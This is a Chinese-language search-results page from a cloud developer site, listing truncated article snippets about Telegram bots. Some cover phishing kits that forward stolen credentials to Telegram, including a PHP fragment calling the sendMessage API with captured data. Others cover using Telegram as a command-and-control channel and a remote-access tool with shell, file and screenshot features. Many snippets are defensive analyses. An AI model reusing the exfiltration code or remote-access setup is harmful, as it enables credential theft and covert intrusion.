文档建议反馈控制台
首页
学习
活动
专区
圈层
工具
MCP广场
文章/答案/技术大牛
发布

Telegram机器人在欧洲凭证钓鱼中的协同机制与防御路径

据SC World简报披露，此类活动主要针对企业邮箱（如Microsoft 365）、在线银行及社交媒体账户，通过短信或邮件引流至伪造登录页，用户输入凭证后，数据经API实时推送至攻击者控制的Telegram...关键特征包括：使用官方CDN资源（如logo、字体）增强可信度；表单提交地址指向攻击者控制的中间脚本（如/api/collect.php）；部分页面嵌入JavaScript，用于收集浏览器指纹或阻止右键查看源码...Bot后端通常为Python脚本，使用python-telegram-bot库：from telegram import Updatefrom telegram.ext import Application...可通过以下方式提取IOC：监控外联请求中包含api.telegram.org/bot的HTTP流量；提取Bot Token模式（格式：数字:字母数字串）；关联短链（如bit.ly、cutt.ly）解析后的...6 结论Telegram机器人在欧洲凭证钓鱼中的应用，标志着攻击模式从“静态投递”向“动态交互”的演进。其通过Bot API实现数据实时回传与操作指令下发，显著缩短攻击窗口并提升成功率。

32210

命令控制之Telegram

文章前言 使用涉交网络作为C2 Server有两个好处，一方面是因为社交网络的服务器稳定，另一个方面是因为在于其通信的数据可以隐藏在正常的流量中，不容易被发现，本节主要是"站在巨人的肩膀"上来介绍通过Telegram...基础内容 Telegram是一款跨平台的实时通讯应用，目前支持Android、iPhone/iPad、WP、Web、PC/Mac/Linux，在整个通信过程中通信数据加密，官方曾悬赏$300,000 for...之后在终端使用python执行如下代码接收消息： import telepot from pprint import pprint bot = telepot.Bot('12xxxxxx9:AAEINxxxxxxxxxxWKJolu_hxxx8A...以上介绍了Bot API中发送、接收文本消息和上传、下载文件的功能，剩下只需要将功能拼接，添加命令解析，就可以实现一个简易的C2 Server POC bt2框架 项目介绍 Bt2是一个使用python...编写开发的C2框架，它使用了telegram提供的基础设施和功能丰富的bot api，稍微改变了其通信平台的用途，使其可以充当c&c。

4.2K20
    • 您找到你想要的搜索结果了吗？
    是的
    没有找到

    Telegram基础设施在钓鱼攻击中的滥用机制与防御对策研究

    （常模仿MetaMask、Coinbase或企业SSO界面）；在用户输入凭据过程中，前端JavaScript脚本实时捕获表单数据并通过Telegram Bot API发送至攻击者控制的私有频道；部分高级变种甚至直接在...此类攻击的核心挑战在于其“合法性掩护”：所有通信均经由telegram.org域名完成，符合SPF/DKIM/DMARC标准；Bot API调用使用HTTPS加密；消息支持自毁与私聊加密，极大增加取证难度...更重要的是，传统安全设备难以区分正常用户使用Telegram与恶意Bot数据回传之间的流量差异。...*；进程内存中存在敏感关键词（如“password”, “otp”, “cookie”）与Telegram API调用共现。...4 平台侧缓解建议Telegram可实施以下改进：Bot滥用检测：监控异常高频sendMessage调用（>100次/分钟）、跨国家IP登录；速率限制：对新注册Bot实施每日消息配额（如500条）；内容扫描

    47110

    简化通知基础设施：开源的消息通知服务 | 开源专题 No.41

    python-telegram-bot/python-telegram-bot[2] Stars: 22.9k License: GPL-3.0 这个项目是一个提供纯 Python 异步接口的 Telegram...它与 Python 3.8+兼容，并包含一些高级类，使机器人开发变得简单和直观。该库支持 Telegram Bot API 6.8 的所有类型和方法。...使用 ntfy，您可以通过脚本从任何计算机向手机或桌面发送推送通知，而无需注册或支付费用。如果您想要运行自己的实例，则可以轻松地做到这一点，因为 ntfy 是开源项目。...关键特性和核心优势： 简单易用：使用 Bark 只需几个简单步骤即可实现自定义消息的快速发送，并且支持将消息直接复制到剪贴板上方便粘贴使用。...灵活性：支持不同环境下的部署需求，如 Docker 容器、普通用户等。

    1.7K20

    我用 Opencode 做了一个 FakeClawBot

    ↓ 发消息 Telegram Bot API ↓ 转发 bot.py (Python) ↓ 调用 HTTP API OpenCode Server (:4096) ↓...https://github.com/tjxj/fakeclawbot.git cd fakeclawbot pip install -r requirements.txt 依赖超级轻量，就三个包： python-telegram-bot...踩过的坑 这个项目虽然简单，但在实际搭建和使用过程中还是踩了一些值得分享的坑： 坑一：模型名称包含多个斜杠 OpenCode 的模型格式是 provider/modelID，比如 quotio/gemini...但是——纯发送消息不受此限制。所以如果你有其他服务（比如我还做了一个 RSS 定时摘要推送）也需要通过这个 Bot 发消息给你，完全没问题，只要它不去"监听"就行。...（同步等待回复） POST /session/{id}/command — 执行斜杠命令（如 /init） POST /session/{id}/abort — 中止运行中的任务 POST /session

    1.2K10

    一封“域名续费”邮件，竟让WordPress站长银行卡被掏空——新型钓鱼攻击借Telegram实时收割支付信息

    这些敏感数据并未存入某个远程数据库，而是实时推送至一个加密的Telegram频道，由攻击者即时用于多笔跨境交易。这并非孤例。...随后，发送定制化钓鱼邮件，内容通常包含：域名名称（如yourblog[.]net）；到期日期（精确到日）；“WordPress Hosting Team”或“Domain Services”等仿冒发件人...Please try again.");});第四阶段：Telegram作为“零基础设施”数据管道与传统钓鱼攻击需自建C2服务器不同，本次攻击的创新点在于完全依赖Telegram Bot作为数据接收端。...攻击者在后端使用Python或Node.js脚本，将收集到的数据通过Telegram Bot API实时推送至私有频道：# 攻击者服务器后端（Python + python-telegram-bot）import...技术工具辅助使用密码管理器：如1Password、Bitwarden，其自动填充功能仅在真实域名下触发，可识别钓鱼页；安装反钓鱼浏览器扩展：如Netcraft、Emsisoft Browser Security

    22310

    喂饭教程：快速在你的服务器搭建Moltbot！

    接下来，我们将详细介绍如何在服务器上快速搭建属于你的 Moltbot 实例，并提供一个可直接使用的 Telegram 示例配置，帮助你在隔离环境中完成部署、连接与验证，快速体验 Moltbot 的完整能力...在对话中发送 /newbot 指令，用于创建一个新的 Telegram 机器人。...○ 用户名必须以 bot 结尾○ 且不能与现有机器人重复创建完成后，BotFather 会向你发送机器人的 访问链接 和 Bot API Token。...○ 将该 code 直接复制并粘贴到 Moltbot 的聊天回复配置中 ○ 或使用命令： moltbot pairing approve telegram 完成配对后重新进入即可生效。...7.配对成功后，在 Telegram 中向该机器人发送测试消息，若 Moltbot 能正常回复，即表示 Telegram 通道已成功关联。

    1.8K100

    玩转Lighthouse｜Moltbot（原Clawdbot）接入Telegram保姆级教程

    那么如何在Lighthouse上快速部署并配置ClawdBot呢？接下来就由我带着大家一步步来做吧！...如您选择自动生成密码，那么密码将通过站内信发送给您，后续您也可登录控制台重置密码。...确认其余选项后，并单击立即购买即可： 如您通过活动页选购服务器，创建方式、地域、套餐规格等均可参考上述内容进行选择。 6.确认产品信息，并在页面右下角点击“去支付”。 您可选择使用余额或在线支付。...配置 Telegram 需要 Bot Token，获取方式： 在 Telegram 中搜索 @BotFather 发送 /newbot 按提示输入 Bot 名称和用户名 复制 Bot Token（类似...gateway --port 18789 --verbose & 首次运行，会对陌生人发送一个配对码，运行下方命令完成配对 clawdbot pairing approve telegram 配对码

    14.5K114

    如何用 Python 对接实时股票 API 并构建预警系统？：实战分享

    在量化交易和个人投资管理中，实时监控股票价格并设置自动预警是提升决策效率的关键。今天，我将手把手教你如何使用 Python 对接实时股票 API，并构建一个功能完整的股票价格预警系统。...通过多种渠道发送预警信息技术栈选择Python 3.8+ - 主要编程语言WebSocket 客户端 - 实时数据接收Pandas - 数据处理和分析SQLite/Redis - 预警规则和状态存储SMTP...2.28.0pandas>=1.5.0numpy>=1.24.0python-dotenv>=0.21.0schedule>=1.1.0redis>=4.5.0# 可选的通知库python-telegram-bot..."""发送Telegram通知（简化版）""" try: # 实际应用中需要使用python-telegram-bot库 # 这里使用requests...pass总结通过本教程，你已经学会了：如何使用 Python 连接实时股票 API构建一个可扩展的预警规则引擎实现多种通知方式（邮件、Telegram 等）设计一个完整的股票监控系统架构下一步改进方向：

    55410

    基于“Smishing Triad”事件的短信钓鱼攻击机制与防御体系研究

    本文基于该事件披露的技术细节与组织架构，系统分析此类攻击的社会工程诱因、基础设施部署模式、数据流转路径及与Telegram生态的耦合机制。...此类攻击的特殊性在于其高度工业化运作：开发团队提供模板化钓鱼套件，数据经纪商提供目标名单，短信群发团队负责投递，盗刷团队完成变现，行政团队通过Telegram协调运营。...[.]com）；C2通信隐蔽化：数据通过HTTPS POST至中间脚本，再由Python脚本推送至Telegram Bot。...3.3 数据外泄与变现流程典型数据流如下：Victim → Smishing SMS → Fake Payment Page → PHP Collector → Telegram Bot → Theft...然而：攻击者使用合法短链服务（如Bit.ly）隐藏真实URL；发件人ID可伪造为“USPS”等可信名称；内容经轻微改写即可绕过关键词匹配。

    29010

    Python中如何使用 collections 模块中高级数据结构如 namedtuple、deque

    它接收一个可迭代对象（如列表或字符串）并返回一个类似字典的对象，键是元素，值是出现的次数。使用场景Counter 非常适合用于统计元素出现次数，比如统计单词频率、字符频率等。...使用场景OrderedDict 非常适合需要严格按照插入顺序处理数据的场景，尤其是在需要按插入顺序对数据进行操作或者在序列化过程中确保一致性时。如何定义和使用 OrderedDict？...综合实例为了更好地理解 collections 模块中的这些高级数据结构，我们来做一个综合的例子。...使用 deque 实现了一个滑动窗口，用于查找特定单词序列的位置。这个综合实例展示了 collections 模块中的几个数据结构如何协同工作，以简化代码逻辑并提高可读性。...在学习 collections 模块中的高级数据结构时，关键在于理解每个数据结构的特性和适用场景。

    4K10

    钓鱼团伙用Telegram机器人“接单”：欧洲凭证窃取进入“实时客服”时代

    阶段2：数据捕获钓鱼页面表单提交后，数据不直接存入数据库，而是通过后端脚本（如PHP或Node.js）调用Telegram Bot API，将信息推送至私有频道：// phishing-handler.php..."时间: " . date('Y-m-d H:i:s');// 调用Telegram API发送消息file_get_contents("https://api.telegram.org/bot{$bot_token...事后分析发现，攻击者使用的Telegram机器人名为 @CloudGrabber_Bot，其频道中同时监控着来自12个国家的 87个活跃钓鱼站点，平均每15分钟就有一次新凭证捕获。...原因在于：Telegram使用标准HTTPS（端口443），流量与正常Web浏览无异；数据回传通常通过合法CDN（如Cloudflare）中转，IP信誉良好；消息内容为文本格式，无恶意载荷，难以触发DLP...网络层：封禁高风险Telegram基础设施在防火墙或代理中，基于威胁情报封禁已知与钓鱼相关的Telegram Bot Token、Channel ID对应的IP段；使用DNS过滤服务（如Cisco Umbrella

    32410

    钓鱼攻击中窃取数据的流转路径与防御机制研究

    研究发现，现代钓鱼操作已高度模块化与自动化，广泛采用Telegram Bot、Phishing-as-a-Service（PhaaS）平台等技术实现数据实时回传与集中管理；被盗凭证经初步清洗后，或用于直接盗用...因此，2020年后，此类方式使用率显著下降。2.2 Telegram Bot 成为主流回传通道当前绝大多数钓鱼页面嵌入Telegram Bot API实现即时数据推送。...攻击者首先在Telegram上创建Bot并获取token，随后在钓鱼脚本中调用Telegram的sendMessage接口。...部分高级钓鱼包甚至支持多通道回传——同时发送至Telegram与备用邮箱，以防单一通道失效。...例如，通过DNS sinkholing将钓鱼域名解析至蜜罐服务器，捕获回传请求；或向Telegram Bot发送伪造凭证，污染攻击者数据库。此类主动防御虽不能阻止初始钓鱼，但可降低其运营效率。

    21410

    TelegramRAT：一款功能强大的基于Telegram的远程通信访问控制工具

    功能介绍 1、直接在Bot中执行Shell命令； 2、支持从客户端下载文件； 3、支持获取客户端系统信息； 4、支持获取客户端地理位置信息； 5、支持捕捉屏幕截图； 6、支持获取URL（从URL下载文件...帮助菜单 HELP MENU: Coded By Machine1337 CMD Commands | 直接在Bot中执行CMD/Shell命令 cd...1、打开Telegram并搜索https://t.me/BotFather； 2、创建Bot并获取API_TOKEN； 3、现在搜索https://t.me/chatIDrobot并获取chat_id...； 4、打开client.py，定位到第16行和第17行，并在其中写入API_TOKEN和chat_id； 5、在Windows系统中运行python client.py或在Linux中运行python3...client.py； 6、打开你刚刚创建的Bot，并直接在消息输入框中输入并发送命令即可； 许可证协议 本项目的开发与发布遵循Apache-2.0开源许可证协议。

    96130

    玩转OpenClaw｜云上OpenClaw(Clawdbot)快速接入Discord指南

    本文主要介绍如何在腾讯云轻量应用服务器Lighthouse中部署完成OpenClaw后，配置接入Discord。...Bot名称（如OpenClaw-AI），同意条款后点击Create按钮进行创建。...在面板中可以支持腾讯混元、腾讯云DeepSeek、月之暗面Kimi、MiniMax、智谱GLM等常用模型的API Key配置，也支持配置其他自定义模型（如OpenAI GPT、Google Gemini...在Discord中与Bot聊天在Discord服务器的联系人列表中点击前面步骤中添加的Discord Bot。选择私聊，发送第一条消息。...首次对话，会发送一个配对码，需要在服务器中执行下方的命令完成配对。远程登录腾讯云轻量应用服务器中，输入并执行以下命令。

    25K165

    WebMonitor 实时监控网页变化，并发送通知程序

    phantomjs，且 phantomjs 被添加到系统路径 首次运行需要迁移数据库且设置管理账号，假设账号为 admin，密码为 password，运行端口为 8000 python manage.py...Telegram Bot 如果采用 Telegram 提醒，则必须设置“系统管理/Telegram Bot 设置”中的 Telegram Bot Token。...将要发送的body内容放在{data=}内，其中{header}和{content}替换掉标题和内容的位置。..., 可以使用 JsonPath 提取数据, 具体教程参考 https://goessner.net/articles/JsonPath/ 在Chrome F12开发者工具中，也可以找到对应元素，然后右键该元素...，如 价格：1390使用正则([1-9]\d*)提取到纯数字1390 监控规则 默认不填则文本发生变化就发通知，多规则请以’;’分开。

    16.4K33
    点击加载更多

    相关资讯

    热门标签

    更多标签

    活动推荐

      运营活动

      活动名称
      广告关闭

      腾讯云开发者

      扫码关注腾讯云开发者

      扫码关注腾讯云开发者

      领取腾讯云代金券

      热门产品

      热门推荐

      更多推荐

      Copyright © 2013 - 2026 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有

      深圳市腾讯计算机系统有限公司 ICP备案/许可证号：粤B2-20090059 粤公网安备44030502008569号

      腾讯云计算（北京）有限责任公司 京ICP证150476号 | 京ICP备11018762号

      领券